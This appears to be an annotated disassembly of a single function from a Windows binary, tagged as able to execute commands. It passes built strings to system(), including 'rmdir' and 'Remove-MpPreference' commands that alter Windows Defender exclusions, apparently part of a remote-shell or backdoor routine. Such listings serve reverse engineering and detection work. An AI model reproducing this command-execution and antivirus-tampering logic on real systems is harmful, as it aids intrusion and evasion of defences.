Function at 0x411300
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42179d
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
je 0x411386
cmp eax, 0x7fffffff
ja 0x4118b0
push eax
mov ecx, esi
call fcn.00406440
mov edi, dword [esi]
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
sub esi, eax
push esi
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov dword [ecx + 4], eax
lea ecx, [ebp - 0x68]
call fcn.004068f0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x4113a7
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x14]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x14]
jne 0x4113cd
push str.invalid_stoi_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
cmp dword [edi], 0x22
jne 0x4113dd
push str.stoi_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x54]
movzx eax, ax
mov dword [ebp - 0x34], eax
cmp ecx, 0x10
jb 0x41141d
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411413
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411413
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x42b128
call fcn.00404790
call fcn.00408c20
add esp, 0x18
test al, al
je 0x411604
xor edi, edi
nop
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x42b128
call fcn.00404790
mov ecx, esi
call fcn.00408ac0
add esp, 0x18
call fcn.0041da70
add esp, 0x18
cmp edi, 0x12c
jg 0x4118ba
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
inc edi
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x42b128
call fcn.00404790
mov ecx, esi
call fcn.00408ac0
add esp, 0x18
call fcn.0041d880
add esp, 0x18
test eax, eax
jne 0x411440
sub esp, 0x18
mov ecx, esp
push 0x42b128
call fcn.00404790
call fcn.00406620
mov ecx, esp
push 0x42b128
call fcn.00404790
lea ecx, [ebp - 0x68]
call fcn.004089c0
push eax
mov edx, str.rmdir__
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
call fcn.00404e60
add esp, 0x1c
push 0x42468c
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00404690
mov dword [ebp - 0x20], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x1c]
add esp, 4
cmp ecx, 0x10
jb 0x411572
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411568
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4115f4
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0x10
jb 0x4115b8
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4115ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4115f4
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x411604
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4115fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4115fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x38], esp
push 0x42b098
call fcn.00404790
sub esp, 0x18
mov byte [ebp - 4], 4
mov edi, esp
sub esp, 0x18
mov ecx, esp
push 0x42b128
call fcn.00404790
lea ecx, [ebp - 0x80]
call fcn.00408ac0
add esp, 0x18
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 5
mov ecx, closesocket
mov edx, dword [0x42b138]
sub ecx, edx
cmp ecx, 0x24
jb 0x4118b5
cmp dword [0x42b13c], 0x10
mov eax, 0x42b128
push edx
cmovae eax, dword [0x42b128]
push eax
push 0x24
push str.Remove_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x30]
call fcn.0040acb0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x1c]
mov eax, edx
mov ecx, dword [ebp - 0x20]
sub eax, ecx
push 0x2a
push str.__Remove_MpPreference__ExclusionProcess_
cmp eax, 0x2a
jb 0x4116bc
cmp edx, 0x10
lea esi, [ebp - 0x30]
lea eax, [ecx + 0x2a]
cmovae esi, dword [ebp - 0x30]
add esi, ecx
mov dword [ebp - 0x20], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x2a], 0
lea eax, [ebp - 0x30]
jmp 0x4116cd
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x30]
push dword [ebp - 0x14]
push 0x2a
call fcn.00405570
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x18]
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 7
push eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
call fcn.0040aad0
push 0x424bec
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 8
call fcn.00404690
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xc
call fcn.004069f0
mov byte [ebp - 4], 0xb
add esp, 0x30
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x41178f
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411785
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411845
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x4117d5
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411845
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x411809
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411845
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0x10
jb 0x411855
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41184b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41184b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
push dword [ebp - 0x34]
call fcn.004118e0
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x411893
mov edx, dword [ebp + 0x10]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x411889
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411889
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0041f6f2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f19c
mov esp, ebp
pop ebp
ret 0xc
call fcn.00405cc0
call fcn.00401620
push str.SHOTDOW_SHELL_ERROR
lea ecx, [ebp - 0x24]
call fcn.004064c0
push 0x428894
lea eax, [ebp - 0x24]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3